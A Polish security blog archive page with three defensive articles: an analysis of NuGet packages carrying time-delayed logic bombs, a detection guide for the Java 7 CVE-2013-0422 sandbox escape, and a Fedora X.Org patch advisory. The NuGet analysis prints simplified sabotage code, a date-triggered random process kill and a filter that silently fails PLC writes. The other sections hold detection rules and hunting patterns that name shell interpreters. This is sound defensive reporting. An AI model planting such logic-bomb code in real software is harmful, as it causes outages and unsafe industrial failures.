Archiwa: Linux - Strona 36 z 42 - Security Bez Tabu

Ukryte „logic bombs” w złośliwych pakietach NuGet: opóźniona destrukcja baz danych i systemów przemysłowych

Wprowadzenie do problemu / definicja luki

Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.


W skrócie

  • Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem shanhai666 na NuGet, łącznie ~9,5 tys. pobrań.
  • Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
  • Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu.
  • Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
  • Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.

Kontekst / historia / powiązania

Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.


Analiza techniczna / szczegóły luki

1) Wstrzyknięcie przez extension methods

Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:

public static class SqlCommandExtend {
    static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
    public static SqlCommand Exec(this SqlCommand cmd) {
        if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
            Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
        }
        return cmd;
    }
}

W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).

2) Sharp7Extend — sabotaż ICS (S7)

  • Natychmiastowy mechanizm Process.Kill() aktywny do 2028-06-06 (odwrócona logika daty).
  • Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do 0 w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
    Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
  public static int Filter(this int res) {
    if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
    return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
  }
}

Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.

3) Typosquatting i „fałszywe poczucie bezpieczeństwa”

Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.

4) Daty-wyzwalacze & probabilistyka

  • DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
  • ICS: aktywny od razu do 2028-06-06.
  • Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.

Praktyczne konsekwencje / ryzyko

  • Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
  • Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
  • ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.

Rekomendacje operacyjne / co zrobić teraz

0) Zakres incydentu i kryteria ryzyka

Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.

1) Szybki triage — znajdź i odetnij pakiety

Enumeracja pakietów w repo i hostach:

# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .

# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive

# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print

Skan wzorców „extension method injection”:

# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .

Blokada źródła:

  • Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
  • W CI zablokuj rozwiązywanie spoza mirror’a: NUGET_PACKAGES, restoreSources.

Przykładowe nuget.config (pinning):

<configuration>
  <packageSources>
    <clear />
    <add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
  </packageSources>
  <trustedSigners>
    <author name="CorpReleaseKey">
      <certificate fingerprint="‎AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
    </author>
  </trustedSigners>
</configuration>

2) Detekcja runtime / telemetry hunting

.NET (ETW/PerfView/Defender for Endpoint kusto):

DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
    or ProcessCommandLine has "System.Diagnostics.Process.Kill"

Anomalia „losowych restartów” po zapytaniach DB:

  • Koreluj SqlClient error’y / brak logs z Kill().
  • W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.

AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.

3) Usuwanie i weryfikacja integralności

  • Usuń zainfekowane pakiety z repo i lockfile’y; wymuś dotnet nuget locals all --clear na build-agentach i serwerach.
  • Rebuild + redeploy z czystego cache.
  • Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
  • ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.

4) Hardening łańcucha dostaw

  • SBOM (np. dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET).
  • Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
  • Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
  • Skany SCA z regułami niestandardowymi (heurystyki extension methods, Process.Kill()).

5) IOC / nazwy pakietów do bloku

Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)


Różnice / porównania z innymi przypadkami

  • npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
  • NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
  • ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.

Podsumowanie / kluczowe wnioski

  • Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
  • Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
  • Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
  • Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
    Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.

Źródła / bibliografia

  • Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
  • The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
  • BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
  • The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
  • Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)

Linux Commands Dla Analityków Bezpieczeństwa – Pełny Przewodnik Z Przykładami

Komendy Linuksa jako pierwsza linia analizy incydentu

W codziennej pracy analityka bezpieczeństwa (SOC) umiejętność szybkiego korzystania z wbudowanych poleceń Linuksa bywa bezcenna. Gdy liczy się czas – na przykład podczas triage incydentu lub szybkiej analizy forensic – często jedynym narzędziem jest konsola SSH bez dostępu do interfejsu graficznego. Instalacja dodatkowego oprogramowania zwykle nie wchodzi w grę, więc klasyczne polecenia powłoki Bash stają się pierwszą linią obrony Blue Team.

Czytaj dalej „Linux Commands Dla Analityków Bezpieczeństwa – Pełny Przewodnik Z Przykładami”

CVE-2013-0422 — Java 7 Security Manager Bypass / Sandbox Escape (RCE)

TL;DR

  • Krytyczna luka w Oracle Java 7 (JDK/JRE 7u10 i starsze) pozwalała na zdalne wykonanie kodu przez applet lub Java Web Start (drive‑by). Java 6 nie była podatna. CVSS v2: 10.0.
  • Mechanizm: obejście Security Managera przez dwie podatności: (a) łańcuch JMX/MBean (getMBeanInstantiatorfindClass), (b) błąd w Reflection (rekurencja i pominięcie kontroli). Powszechnie wykorzystywana w styczniu 2013 r. (m.in. Blackhole/Nuclear Pack).
  • Oracle wydało poza‑cykliczną łatę (7u11) i podniosło domyślny poziom bezpieczeństwa Javy do High (klik‑to‑run).
  • Typowe ślady: łańcuch procesów browser → jp2launcher/java[w].exe → cmd/powershell/wscript, pobrania .jar/.jnlp z nieznanych domen, logi Sun/Java/Deployment.
  • Detekcja: korelacja proxy/DNS + EDR/Windows (Sysmon 1/3/7/11/22, Security 4688/5156) + MDE (DeviceProcessEvents/DeviceNetworkEvents).
  • Mitigacje: aktualizacja/wyłączenie wtyczki Java, blokada MIME application/java-archive i application/x-java-jnlp-file, polityki ASR/EDR.

Krótka definicja techniczna

CVE‑2013‑0422 to para luk w Oracle Java 7 umożliwiająca zdalne wykonanie kodu i wyjście z piaskownicy przez niezaufane applet/JNLP w przeglądarce. Wektor: drive‑by. Dotyczy JDK/JRE 7u10 i starszych; JDK/JRE 6 nie dotyczy. CVSSv2=10.0.


Gdzie występuje / przykłady platform

  • Windows/macOS/Linux (endpoint, przeglądarka + plugin Java) — klientowe uruchomienie applet/JNLP. Nie dotyczy serwerów ani samodzielnych aplikacji Java bez przeglądarki.
  • VDI / środowiska korporacyjne — stacje administracyjne z historycznie zainstalowaną Javą 7.
  • Proxy/NGFW/MDE/EDR/SIEM — główne źródła telemetrii do detekcji.
  • Chmury (M365/Azure/AWS/GCP) — detekcja po stronie endpointów zarządzanych (Defender for Endpoint), na brzegach (CloudFront/NGFW) lub – rzadziej – w CloudTrail (gdy organizacja sama hostowała artefakty .jar/.jnlp w S3).

Szczegółowy opis techniki (jak działa, cele, dlaczego skuteczna)

Atak następował po wejściu użytkownika na złośliwą lub skompromitowaną stronę. Niezaufany applet/JNLP wykorzystywał dwa błędy w Javie 7:

  1. JMX/MBean — publiczne getMBeanInstantiator w JmxMBeanServer dawało dostęp do prywatnego obiektu MBeanInstantiator i metod findClass, co umożliwiało załadowanie klas poza kontrolą Security Managera.
  2. Reflection — rekurencyjne wywołania API refleksji omijały kontrolę w MethodHandles.Lookup.checkSecurityManager z powodu sposobu działania sun.reflect.Reflection.getCallerClass.
    W praktyce oznaczało to pełne RCE z uprawnieniami użytkownika po samej wizycie na stronie (0‑click beyond browsing). Luki były aktywnie wykorzystywane przez Blackhole i Nuclear Pack od 10–11 stycznia 2013 r. Oracle zareagowało alarmem bezpieczeństwa i 7u11 (zmiana default na High, wymuszając potwierdzenia dla appletów).

Artefakty i logi

ŹródłoEID/typCo szukaćUwagi
Sysmon1 (Process Create)chrome/iexplore/firefox → jp2launcher.exe/java.exe/javaw.exe; dalej spawn cmd.exe, powershell.exe, wscript.exe, mshta.exejp2launcher.exe = Java Web Launcher.
Sysmon3 (Network Connect)java[w].exe łączące się do Internetu (80/443) tuż po pobraniu .jar/.jnlpKorelować z proxy/DNS.
Sysmon7 (Image Load)DLL wtyczki Java (np. npjp2.dll, jp2iexp.dll)Indykatory uruchomienia pluginu.
Sysmon11/22Tworzenie plików w %AppData% / zapytania DNS przez java.exeDropper po eksploatacji.
Windows Security4688/4689Tworzenie/zamknięcie procesu jak wyżejWłącz audyt procesu.
Windows Filtering Platform5156/5157Dopuszczenie/blokada połączeń java.exeKorelacja z hostem docelowym.
Proxy/NGFWHTTPOdpowiedzi Content-Type: application/java-archive (.jar), application/x-java-jnlp-file (.jnlp) z nietypowych domenWzorzec drive‑by.
Java Deploymentplikideployment.properties, logi w …\LocalLow\Sun\Java\Deployment\Lokacje użytkownika na Windows/macOS/Linux.
MDE (Advanced Hunting)DeviceProcessEvents, DeviceNetworkEventsTe same łańcuchy + zdalne URL .jar/.jnlp
CloudTrail (S3 data events)GetObjectJeśli organizacja hostowała .jar/.jnlp — nieoczekiwane pobrania/UA z Java 1.7Wymaga włączonych data events.
KEV statusCVE figuruje w CISA KEV (znana eksploatacja)Odniesienie przez NVD.

Detekcja (praktyczne reguły)

Sigma (Sysmon — Java spawn + post‑exploitation shell)

title: Java Plugin Spawns Suspicious Shell (CVE-2013-0422 Context)
id: 6f1a2a0c-5a0e-4bde-9d1c-0422a7java
status: experimental
description: Wykrywa łańcuch browser→java/jp2launcher→shell po wizycie na stronie (drive-by).
author: Badacz CVE
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '\chrome.exe'
      - '\iexplore.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  selection_java:
    Image|endswith:
      - '\java.exe'
      - '\javaw.exe'
      - '\jp2launcher.exe'
  selection_shell:
    CommandLine|contains:
      - 'cmd.exe'
      - 'powershell.exe'
      - 'wscript.exe'
      - 'mshta.exe'
  condition: selection_parent and selection_java and selection_shell
fields:
  - Image
  - ParentImage
  - CommandLine
  - ProcessGuid
  - ParentProcessGuid
falsepositives:
  - Legit applet/JNLP uruchamiający narzędzia systemowe (rzadkie)
level: high
tags:
  - attack.t1189
  - attack.t1203
  - cve.2013-0422

Sigma (Sysmon — podejrzane połączenia java.exe)

title: Java Process Network Activity To Untrusted Domains
id: 8b0f7c87-8d07-4a1b-9f77-jar-net
status: experimental
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    Image|endswith:
      - '\java.exe'
      - '\javaw.exe'
    DestinationPort:
      - 80
      - 443
  filter_corp_domains:
    DestinationHostname|endswith:
      - '.corp.local'
      - '.trusted.example'
  condition: selection and not filter_corp_domains
level: medium
tags:
  - attack.t1189
  - attack.t1203

Splunk (SPL)

index=winevent* (EventCode=4688 OR sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1)
| eval parent=coalesce(ParentImage,ProcessGuidParent,ParentProcessName)
| search parent IN ("*\\chrome.exe","*\\iexplore.exe","*\\firefox.exe","*\\msedge.exe")
| search Image IN ("*\\java.exe","*\\javaw.exe","*\\jp2launcher.exe")
| stats earliest(_time) as first_seen, values(CommandLine) values(ParentCommandLine) by host, Image, parent, ProcessId
| join type=left host, ProcessId [ search index=winevent* EventCode IN (4688,1) Image IN ("*\\cmd.exe","*\\powershell.exe","*\\wscript.exe","*\\mshta.exe") | table host, ParentProcessId, Image, CommandLine, _time ]
| sort - first_seen

KQL (Microsoft 365 Defender – Advanced Hunting)

let browsers = dynamic(["chrome.exe","iexplore.exe","firefox.exe","msedge.exe"]);
let shells = dynamic(["cmd.exe","powershell.exe","wscript.exe","mshta.exe"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("java.exe","javaw.exe","jp2launcher.exe")
| where InitiatingProcessFileName in~ (browsers)
| join kind=leftouter (
    DeviceProcessEvents
    | where Timestamp > ago(7d)
    | where InitiatingProcessFileName in~ ("java.exe","javaw.exe")
    | where FileName in~ (shells)
    | project DeviceId, ShellTime=Timestamp, FileName, ProcessCommandLine, InitiatingProcessId
) on DeviceId, InitiatingProcessId
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, RemoteUrl

CloudTrail (CloudWatch Logs Insights — S3 data events)

Uwaga: tylko gdy masz S3 data events. Szuka pobrań .jar/.jnlp z User-Agent zawierającym „Java”.

fields @timestamp, eventSource, eventName, sourceIPAddress, userAgent, requestParameters.bucketName as bucket, requestParameters.key as key
| filter eventSource = "s3.amazonaws.com" and eventName = "GetObject"
| filter key like /(\.jar|\.jnlp)$/i
| filter userAgent like /Java/i
| sort @timestamp desc

Elastic EQL

sequence by host.id with maxspan=5m
  [ process where event.action == "start" and
      process.name in ("chrome.exe","iexplore.exe","firefox.exe","msedge.exe") ]
  [ process where event.action == "start" and
      process.name in ("java.exe","javaw.exe","jp2launcher.exe") and
      process.parent.name in ("chrome.exe","iexplore.exe","firefox.exe","msedge.exe") ]
  [ process where event.action == "start" and
      process.parent.name in ("java.exe","javaw.exe") and
      process.name in ("cmd.exe","powershell.exe","wscript.exe","mshta.exe") ]

Heurystyki / korelacje

  • Korelacja czasu: pobranie *.jar/*.jnlp w proxy/DNS ±30s → java.exe/javaw.exe → shell.
  • User‑Agent / MIME: Java/1.7.0_10 i application/java-archive z domen o niskiej reputacji.
  • Ścieżki plików: nowe pliki w %AppData%\ po uruchomieniu java.exe.
  • Rzadkie procesy potomne: Java rzadko powinna uruchamiać interpreter poleceń na stacjach użytkowników.
  • Zbieżność z KEV: priorytetyzuj alerty dla CVE na liście Known Exploited Vulnerabilities.

False positives / tuning

  • Starsze aplikacje intranetowe oparte na appletach/JNLP (bankowość/SCADA/HCM). Dodaj allowlist domen i ścieżek aplikacji.
  • Dev‑tooling (Maven/Gradle) – rozpoznaj przez parametry linii poleceń i katalog roboczy.
  • Zamiast wyłączać reguły, dookreśl łańcuch (browser→java→shell) lub warunki (spoza strefy zaufanej, brak podpisu binariów).

Playbook reagowania (IR)

  1. Triage & izolacja: odłącz host, zabezpiecz RAM/dysk.
  2. Zbieranie artefaktów:
    • EDR, Sysmon, Windows Security; cache przeglądarek; katalog …\LocalLow\Sun\Java\Deployment\.
  3. Łowy zależne od CVE: wyszukaj łańcuch browser→java→shell, pliki .jar/.jnlp, anomalie DNS.
  4. Usunięcie wektora: odinstaluj/wyłącz Javę w przeglądarce, wymuś JRE ≥ 7u11 (historycznie; dziś → brak pluginu) i politykę High.
  5. Analiza dropperów/persistencji: Autoruns (Run/RunOnce), Scheduled Tasks, %ProgramData%/%AppData%.
  6. Blokady: domeny/URL/sha256 w proxy/EDR; reguły w NGFW.
  7. Komunikacja i lessons learned: wytyczne dla użytkowników, polityki usunięcia legacy‑Javy.

Przykłady z kampanii / case studies

  • Blackhole/Nuclear Pack (styczeń 2013): szybka integracja exploita 0‑day CVE‑2013‑0422, masowe drive‑by.
  • Reakcja dostawcy: Oracle Security Alert z 13 stycznia 2013 r., podniesienie domyślnego poziomu bezpieczeństwa na High i publikacja 7u11 (poza cyklem).

Lab (bezpieczne testy) — przykładowe komendy

Wyłącznie w izolowanym labie. Poniższe testy nie eksploatują CVE‑2013‑0422 — służą do walidacji detekcji (łańcuch procesów i artefakty sieciowe).

A. Symulacja łańcucha browser → java → shell

  1. Otwórz przeglądarkę, następnie uruchom Java w trybie „klienta” (symulacja): # uruchamia jawnie 'java.exe' z benignym poleceniem do wygenerowania telemetrii & "$Env:ProgramFiles\Java\jre*\bin\java.exe" -cp . -Dtest.run=1 -jar .\benign.jar 2>$null
  2. Zastępczo (bez JAR): Start-Process -FilePath "$Env:ProgramFiles\Java\jre*\bin\javaw.exe" -ArgumentList "-version"
  3. Uruchomioną telemetrię „shella” zasymuluj (bezpiecznie): # symulacja potomka (cmd) po Java — tylko test logów Start-Process -FilePath "$Env:SystemRoot\System32\cmd.exe" -ArgumentList "/c", "echo test-from-java"

Cel: sprawdzić, czy reguły z sekcji 7 flagują procesy potomne po aktywności Java.

B. Symulacja artefaktu sieciowego (.jar/.jnlp)

  1. Na hoście labowym: python3 -m http.server 8000
  2. Pobierz plik test.jar przez przeglądarkę lub Invoke-WebRequest – wygeneruje log proxy/DNS/MDE: iwr http://<twoj_lab_host>:8000/test.jar -OutFile $env:TEMP\test.jar

C. Walidacja logów Java Deployment (Windows)
Sprawdź obecność deployment.properties w:
%USERPROFILE%\AppData\LocalLow\Sun\Java\Deployment\deployment.properties.


Mapowania (Mitigations, powiązane techniki)

Mitigations (ATT&CK):

  • M1051 — Update Software (aktualizacje/łatki).
    • M1042 — Disable or Remove Feature or Program (wyłączenie wtyczki Java, blokada JNLP).
    • M1040 — Behavior Prevention on Endpoint (EDR/ASR).
    • M1037 — Filter Network Traffic (blok MIME/TLD/URL).
    • M1030 — Network Segmentation (izolacja stacji wysokiego ryzyka/VDI).

Powiązane techniki ATT&CK (przykłady):

  • T1189 — Drive‑by Compromise (Initial Access).
  • T1203 — Exploitation for Client Execution (Execution).
  • T1204.001 — User Execution: Malicious Link (Execution → Social / link trigger).

Źródła / dalsza lektura

  • Oracle Security Alert for CVE‑2013‑0422 (opis, wersje dotknięte, CVSS 10.0, domyślny poziom High, data 2013‑01‑13). (Oracle)
  • NVD CVE‑2013‑0422 (szczegóły MBean/Reflection, KEV, metryki). (NVD)
  • ESET WeLiveSecurity (2013‑01‑11) — Blackhole/Nuclear zawierają exploit 0‑day na CVE‑2013‑0422. (We Live Security)
  • KrebsOnSecurity (2013‑01‑10 i 2013‑01‑13) — informacja o 0‑day w crimeware oraz publikacja poprawki Oracle. (Krebs on Security)
  • Microsoft Security Intelligence — klasyfikacje Exploit:Java/CVE‑2013‑0422 i wersje dotknięte. (Microsoft)
  • Tenable (Nessus) — wzmianka o wektorze MBeanInstantiator.findClass. (Tenable®)
  • MITRE ATT&CK — T1189, T1203, T1204.001; ATT&CK v18 update. (MITRE ATT&CK)
  • Lokalizacje plików Java Deployment (Oracle docs). (Oracle Docs)

Checklisty dla SOC / CISO

SOC (operacyjna):

  • Korelacja: proxy/DNS *.jar/*.jnlpjava[w].exe ↔ shell (Sysmon 1/3 + Security 4688).
  • Hunting MDE: InitiatingProcessFileName in (chrome.exe, iexplore.exe, firefox.exe, msedge.exe)FileName in (java.exe, javaw.exe, jp2launcher.exe) ∧ (dziecko = cmd/powershell/wscript/mshta).
  • Sprawdź …\LocalLow\Sun\Java\Deployment\ na artefakty (czas/moduły).
  • Wzorce User‑Agent: Java/1.7.0_10; MIME application/java-archive / application/x-java-jnlp-file.
  • Skan hostów pod kątem dropperów w %AppData% i autostartu.

CISO (strategiczna):

  • Eliminacja Javy w przeglądarkach (M1042) + polityka click‑to‑run.
  • Patch management i wycofanie legacy (M1051).
  • Wymuszenie EDR/ASR (M1040) i filtracji na brzegu (M1037).
  • Segmentacja (M1030) dla stacji wysokiego ryzyka.
  • Priorytetyzacja KEV i regularne tabletopy „drive‑by → execution”.

Uwaga końcowa: Oracle wskazuje, że podatność dotyczyła tylko klientowych wdrożeń Javy (applet/JNLP), a nie serwerów czy samodzielnych aplikacji Java; poprawka 7u11 wprowadziła High jako domyślny poziom bezpieczeństwa. Dziś najlepszą praktyką jest całkowite usunięcie lub odseparowanie wtyczki Java z przeglądarek użytkowników.

Fedora 42 łata krytyczne luki w X.Org X11 Server (xserver 21.1.20): CVE-2025-62229, CVE-2025-62230, CVE-2025-62231

Wprowadzenie do problemu / definicja luki

6 listopada 2025 r. Fedora udostępniła aktualizację xorg-x11-server do wersji 21.1.20 dla Fedora 42, która eliminuje trzy nowe luki w X.Org/Xwayland: CVE-2025-62229, CVE-2025-62230 i CVE-2025-62231. Pakiet został zbudowany w ramach zgłoszenia FEDORA-2025-43c76ece40 i jest dostępny przez system aktualizacji Bodhi/DNF. Aktualizacja podbija wersję serwera X i zawiera poprawki bezpieczeństwa dostarczone upstream przez X.Org.

W skrócie

  • Dotknięte komponenty: X.Org X server (Xorg) oraz Xwayland.
  • Wersja naprawcza (Fedora 42): 21.1.20-1.fc42.
  • Vektory ataku: głównie lokalne – złośliwy lub skompromitowany klient X11 może spowodować use-after-free lub nadpisanie pamięci w serwerze X.
  • Skutki: awarie (DoS) lub potencjalnie wykonanie kodu w kontekście serwera X.
  • Działaj teraz: zaktualizuj pakiety i zrestartuj sesję graficzną/menedżer logowania.

Kontekst / historia / powiązania

X.Org pozostaje krytycznym elementem stosu graficznego na Linuksie – nawet w dystrybucjach domyślnie używających Waylanda, ponieważ Xwayland utrzymuje kompatybilność z aplikacjami X11. W 2025 r. X.Org kilkukrotnie poprawiał błędy klasy memory safety, a dystrybucje (w tym Fedora) backportują te poprawki do stabilnych wydań. Najnowszy update dla F42 scala poprawki z upstream i udostępnia je poprzez Bodhi.

Analiza techniczna / szczegóły luki

CVE-2025-62229 — use-after-free w obsłudze powiadomień X11 Present
Błąd w logice tworzenia powiadomień Present może pozostawić „dangling pointery” i prowadzić do use-after-free, skutkując korupcją pamięci lub crashem serwera X/Xwayland. Atakujący może wywołać błąd, generując odpowiednio spreparowane powiadomienia Present.

CVE-2025-62230 — use-after-free w czyszczeniu zasobów XKB
Niewłaściwa obsługa sprzątania zasobów klienta w rozszerzeniu XKB prowadzi do wcześniejszego zwolnienia struktur bez poprawnego odłączenia powiązanych obiektów. Skutkiem jest use-after-free, który może ujawnić się przy rozłączaniu się klienta.

CVE-2025-62231 — przepełnienie (overflow) w XkbSetCompatMap
Brak właściwych kontroli zakresów podczas przetwarzania danych wejściowych do funkcji XkbSetCompatMap() może spowodować nadpisanie pamięci lub awarię. Problem dotyczy rozszerzenia XKB i może być wyzwalany specjalnie spreparowanymi danymi od klienta.

Wersja naprawcza i pakietowanie (Fedora 42)
Fedora podniosła pakiet xorg-x11-server do 21.1.20-1.fc42 w ramach aktualizacji FEDORA-2025-43c76ece40, opisanej jako „Update to xserver 21.1.20, CVE fix for: CVE-2025-62229, CVE-2025-62230, CVE-2025-62231”.

Praktyczne konsekwencje / ryzyko

  • Priorytet: średni–wysoki w środowiskach z wieloma użytkownikami na tym samym hoście, z X11 forwarding lub z nieufnymi klientami (np. CI, VDI, laby).
  • Model ataku: lokalny (z poziomu klienta X), ale skutki mogą obejmować DoS i potencjalny RCE w procesie serwera X/Xwayland.
  • Zakres: dotyczy zarówno klasycznego Xorg, jak i Xwaylanda – praktycznie wszystkich stacji roboczych korzystających z aplikacji X11 na Fedorze 42.

Rekomendacje operacyjne / co zrobić teraz

  1. Zaktualizuj system (Fedora 42): sudo dnf upgrade --advisory FEDORA-2025-43c76ece40 # lub pełna aktualizacja sudo dnf upgrade --refresh Następnie zrestartuj sesję graficzną (wylogowanie/logowanie) lub przeładuj menedżer logowania (gdm/sddm/lightdm), aby nowe biblioteki/serwer zostały wczytane.
  2. Zweryfikuj wersję: rpm -q xorg-x11-server # oczekiwane: xorg-x11-server-21.1.20-1.fc42
  3. Zmniejsz powierzchnię ataku (best practices):
    • Wyłącz/ogranicz X11 forwarding w SSH lub używaj trybu ForwardX11Trusted=no tylko w razie potrzeby.
    • Preferuj Waylanda tam, gdzie to możliwe; jeśli aplikacje X11 są niezbędne, uruchamiaj je przez Xwayland (izolacja per-proces).
    • Monitoruj logi (journalctl -b | grep -i Xorg\|Xwayland) po aktualizacji, czy nie pojawiają się crashe/ostrzeżenia.
    • Egzekwuj aktualizacje także na systemach headless z pakietami Xvfb/Xwayland.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

W 2025 r. X.Org łatał też inne błędy pamięci w komponentach XKB/kompozytora (m.in. use-after-free i przepełnienia bufora) – omawiane tu CVE wpisują się w ten trend: błędy walidacji długości/żywotności obiektów w rozszerzeniach X11 skutkujące korupcją pamięci. Aktualizacja 21.1.20 w Fedorze 42 konsoliduje poprawki konkretnie dla CVE-2025-62229/-62230/-62231.

Podsumowanie / kluczowe wnioski

  • Fedora 42 wydała szybką aktualizację do xserver 21.1.20, eliminując trzy świeże luki w X.Org/Xwayland.
  • Ataki są głównie lokalne, ale mogą skutkować poważnymi konsekwencjami (DoS/RCE).
  • Zaktualizuj pakiety i zrestartuj środowisko graficzne – to najprostszy i najskuteczniejszy krok ograniczający ryzyko.

Źródła / bibliografia

